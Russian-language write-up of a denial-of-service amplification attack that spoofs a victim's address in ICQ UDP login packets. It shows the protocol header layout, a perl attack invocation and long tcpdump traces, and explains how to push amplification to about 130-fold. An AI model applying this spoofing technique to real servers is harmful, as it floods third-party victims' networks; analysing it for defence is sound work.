| 
div.main {margin-left: 20pt; margin-right: 20pt}DoS для ICQ 
Возможно использовать ICQ-серверы для умножения трафика с 
            коэффициентом 100 и даже больше. Это означает, что нападающий с 
            полосой пропускания канала 38 Kbps может заполнять канал связи на 
            3.8 Mbps. 
             Известно, ЧТО ICQ использует UDP протокол как свой транспортный 
            уровень. Каждый UDP-пакет со стороны клиента начинается следующим 
            заголовком (http://www.securitylab.ru/document/icqv5.html): 
            Length Content Index Description 2 bytes 05 00 VERSION 
            Protocol version 4 bytes 00 00 00 00 ZERO Always zero 4 bytes 
            xx xx xx xx UIN Your UIN 4 bytes xx xx xx xx SESSION_ID Used to 
            prevent spoofing 2 bytes xx xx COMMAND Command 2 bytes xx xx 
            SEQ_NUM1 Sequence inits with a random number 2 bytes xx xx 
            SEQ_NUM2 Inits with 1 (!) 4 bytes xx xx xx xx 
            CHECKCODE variable xx .. PARAMETERS Parameters 
            (все пакеты со стороны клиента шифруются а со стороны сервера - 
            нет) 
            SEQ_NUM1 инициализирован со случайным числом и увеличивается с 
            каждым пакетом на 1 (!) (то есть если первый пакет содержит 
            SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124). 
            SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым 
            пакетом, если не определено другое значение (то есть установка 
            SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE) 
            SESSION_ID - случайное число, которое должно быть постоянным для 
            каждого пакета текущего сеанса, иначе они игнорируются сервером. 
            Кроме того, пакеты сервера отмечены тем же самым значением, чтобы 
            предотвратить имитацию. 
            Нападение заключается в том, что соединяясь с сервером как 
            зарегистрированный пользователь/пользователи, мы подменяем исходный 
            адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке 
            команды CMD_LOGIN). Этим мы переадресовываем трафик ответа сервера 
            жертве (это возможно не только из-за слабости UDP протокола, но 
            также и из-за предсказуемости правил последовательности SEQ_NUM1 и 
            SEQ_NUM2). Все эти факты - ядро для формирования нападения. 
            Реализация: 
            Чтобы проверить нападение, напишите perl-сценарий, который 
            вслепую пошлет пакеты, один за другим с некоторой задержкой. В 
            результате чего получим: 
            % perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 
            (yy.yy.yy.22 - IP жертвы; 1027 порт) 
            tcpdump атакующего: 
            
              
              
                | xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 80 
                  xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 28 
                  xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 
                  xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 
              53 |   
              
            tcpdump жертвы: 
            
              
              
                | 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 117 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 
                  382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 
                  udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: 
                  icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > 
                  yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 > 
                  yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
                  > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
                  205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
                  205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
                  yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
                  1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
                  udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
                  yy.yy.yy.22 udp port 1027 unreachable |   
            Из дампов мы видим, что жертва отвечает на пакеты, полученные с 
            ICMP недостижимым сообщением, но сервер игнорирует их и продолжает 
            посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая 
            сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из 
            его контактного списка в online. 
            Подсчитывая мы видим, что отношение запроc/ответ примерно равно 
            330/10110, что соответствует увеличению 1:30. 
            Сценарий: 
            В предыдущей реализации, мы достигли отнюдь не максимального 
            умножения трафика, потому что нападающий использовал довольно 
            короткий контактный список с 8 записями. 
            xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 
            Однако, возможно послать список из 100 случайных активных 
            пользователей, или списка наших специальных пользователей, которые 
            постоянно находятся в online. 
            xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 425 
            Это приведет к лучшему росту, чем линейный в предыдущем 
            случае. 
            1: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 2: 
            205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 3: 
            205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 
            (DF) . . . 18: 205.188.153.103.4000 > 
            yy.yy.yy.22.1027: udp 382 (DF) 19: 205.188.153.103.4000 > 
            yy.yy.yy.22.1027: udp 382 (DF) 20: 205.188.153.103.4000 > 
            yy.yy.yy.22.1027: udp 382 (DF) 
            и в 10 раз больше, на каждые 20 пакетов... 
             В этот раз коэффициент умножения стал равен 130. Это 
            означает, что нападающий может увеличивать этот коэффициент, 
            постоянно ища активных пользователей или создавая и поддерживая их в 
            активном состоянии. 
            Другие сценарии: 
            В других случаях, чтобы увеличивать трафик, мы можем 
            дополнительно послать запросы поиска (CMD_SEARCH_UIN, 
            CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и 
            квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд 
            выполнялся параллельно, и мы можем это использовать пока сервер 
            думает что мы в online. 
            Описанный выше способ может использоваться не только для DDoS 
            нападений, но также и для быстрой регистрации множества UIN номеров 
            от различных IP.   
 |